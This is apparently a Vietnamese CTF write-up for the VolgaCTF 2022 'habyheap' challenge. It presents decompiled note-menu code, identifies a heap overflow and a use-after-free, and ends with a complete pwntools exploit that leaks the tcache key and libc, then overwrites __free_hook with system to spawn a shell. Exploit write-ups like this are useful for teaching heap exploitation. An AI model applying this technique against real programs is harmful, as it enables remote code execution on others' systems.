---
# System prepended metadata

title: '[VolgaCTF Qual 2022] habyheap'
tags: [' heap', writeup]

---

---
title: '[VolgaCTF Qual 2022] habyheap'
tags: writeup, heap
---
[toc]

## SOURCE
> Libc phiên bản 2.33 => chú ý key
> 
![](https://i.imgur.com/iHE4wT1.png)

![](https://i.imgur.com/Uet1LtJ.png)

## REVERSE
> Dưới đây là các hàm liên quan
### Main
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  v4 = 0;
  setup(argc, argv, envp);
  puts("----YET ANOTHER NOTE TASK----");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v4);
      if ( v4 != 4 )
        break;
      print_note();
    }
    if ( v4 > 4 )
      break;
    switch ( v4 )
    {
      case 3:
        delete_note();
        break;
      case 1:
        add_note();
        break;
      case 2:
        edit_note();
        break;
      default:
        return 0;
    }
  }
  return 0;
}
```
### Print
```c=
int print_note()
{
  int result; // eax
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  v1 = 16;
  write(1, "\nInput your index>> ", 0x14uLL);
  if ( (int)__isoc99_scanf("%u", &v1) <= 0 )
    exit(0);
  if ( v1 <= 0xF && *((_QWORD *)&ptrs + v1) )
    result = puts(*((const char **)&ptrs + v1));
  else
    result = puts("Index is out of bounds");
  return result;
}
```
### Add
```c=
int add_note()
{
  unsigned int v1; // ebx
  unsigned int v2; // [rsp+8h] [rbp-18h] BYREF
  int v3[3]; // [rsp+Ch] [rbp-14h] BYREF

  v2 = 16;
  v3[0] = 0;
  write(1, "\nInput your index>> ", 0x14uLL);
  if ( (int)__isoc99_scanf("%u", &v2) <= 0 )
    exit(0);
  if ( v2 > 0xF || *((_QWORD *)&ptrs + v2) )
    return puts("Index is out of bounds");
  write(1, "1 for big, 0 for smol >> ", 0x19uLL);
  if ( (int)__isoc99_scanf("%u", v3) <= 0 )
    exit(0);
  v1 = v2;
  if ( v3[0] )
  {
    *((_QWORD *)&ptrs + v1) = malloc(0x79uLL);
    memset(*((void **)&ptrs + v2), 0, 0x79uLL);
  }
  else
  {
    *((_QWORD *)&ptrs + v1) = malloc(0x68uLL);
    memset(*((void **)&ptrs + v2), 0, 0x68uLL);
  }
  write(1, "Input your data>> ", 0x12uLL);
  return read(0, *((void **)&ptrs + v2), 0x78uLL);
}
```
> Cho phép tạo tối đa 16 ptr, size hoặc 0x68 hoặc 0x79 byte, rồi ghi vào ptr đó.
### Delete
```c=
void delete_note()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h] BYREF

  v0 = 16;
  write(1, "\nInput your index>> ", 0x14uLL);
  if ( (int)__isoc99_scanf("%u", &v0) <= 0 )
    exit(0);
  if ( v0 <= 0xF && *((_QWORD *)&ptrs + v0) )
    free(*((void **)&ptrs + v0));
  else
    puts("Index is out of bounds");
}
```
> Check index và ptr rồi free.
### Edit
```c=
int edit_note()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  v1 = 16;
  write(1, "\nInput your index>> ", 0x14uLL);
  if ( (int)__isoc99_scanf("%u", &v1) <= 0 )
    exit(0);
  if ( v1 > 0xF )
    return puts("Index is out of bounds");
  write(1, "Input your data>> ", 0x12uLL);
  return read(0, *((void **)&ptrs + v1), 6uLL);
}
```
> Ghi 6 bytes vào ptr sau khi đã check index.
## VULN
* Hàm `add` cho tạo ptr size hoặc 0x68 hoặc 0x79 bytes nhưng luôn cho ghi 0x78 bytes => heap overflow.
* Hàm `delete` sau khi free không set ptr về 0 => UAF.

## APROACH
Đầu tiên vì là libc 2.33 nên cần chú ý leak key, chúng ta có UAF nên chỉ cần print ra một ptr trong bin là leak được key.

Tiếp theo, để phải leak libc bằng cách print ra một ptr nằm trong unsorted bin. Nhưng chương trình chỉ cho phép tạo con trỏ 0x68 hoặc 0x79 bytes nên phải dùng heap overflow ghi đè size của ptr để fake một unsorted bin.

Cuối cùng, để lấy con trỏ tại một địa chỉ bất kì, chúng ta dùng UAF đè next_ptr của một ptr nằm trong tcache bin. (Chú ý địa chỉ phải được xor với key)
## STEPS
1. Tạo nhiều ptr với ptr đầu tiên là 0x68 và tổng size lớn hơn max size của tcache bin (0x408), sau đó free tất cả trừ ptr đầu
2. Leak key.
3. Từ ptr đầu ghi đè size của next chunk, free chunk tiếp theo để đưa fake chunk vào unsorted bin.
4. Leak libc base từ fake chunk.
5. Ghi đè __free_hook thành system.
6. Free chunk chứa `/bin/sh` để lấy shell.
## PAYLOAD
```python=
# -- coding: utf-8 --
from pwn import *

# ENV
PORT = 21337
HOST = "habybeap.q.2022.volgactf.ru"
e = context.binary = ELF('./habybeap_patched')
# lib = ELF('')
lib = e.libc
if len(sys.argv) > 1 and sys.argv[1] == 'r':
    r = remote(HOST, PORT)
else:
    r = e.process()


# VARIABLE
def add(idx, size, data, endline=True):
    r.sendlineafter("choice>>", "1")
    r.sendlineafter("r index>>", str(idx))
    r.sendlineafter(">>", str(size))
    if endline:
        r.sendlineafter("data>>", data)
    else:
        r.sendafter("data>>", data)


def edit(idx, data, endline=True):
    r.sendlineafter("choice>>", "2")
    r.sendlineafter(">>", str(idx))
    if endline:
        r.sendlineafter("data>>", data)
    else:
        r.sendafter("data>>", data)


def remove(idx):
    r.sendlineafter("choice>>", "3")
    r.sendlineafter(">>", str(idx))

def _print(idx):
    r.sendlineafter("choice>>", "4")
    r.sendlineafter(">>", str(idx))

# PAYLOAD

## STEP 1
add(0, 0, "asd")
add(1, 1, "sad")
for i in range(10):
    add(i+2, 0, "1")
for i in range(6):
    remove(i+2)
remove(0)
remove(9)
remove(8)

## STEP 2
_print(9)
leak = u64(r.recvline().strip().ljust(8, '\0'))
base = leak * 0x1000
info("Key: 0x%x" % leak)

## STEP 3
add(12, 0, "a"*0x68 + p64(0x481), endline=False)
remove(1)
edit(1,"a", endline=False)

## STEP 4
_print(1)
leak1 = u64(r.recvline().strip().ljust(8, '\0'))
base = (leak1 & 0xffffffffffffff00) - 0x1e0c00
info("Base: 0x%x" % base)
lib.address = base

## STEP 5
edit(7, p64(lib.sym.__free_hook^leak)[:-2], endline=False)
add(13, 0, '/bin/sh')
add(14, 0, p64(lib.sym.system), endline=False)

## STEP 6
remove(13)


r.interactive()
```
![](https://i.imgur.com/ZdGWAZJ.png)
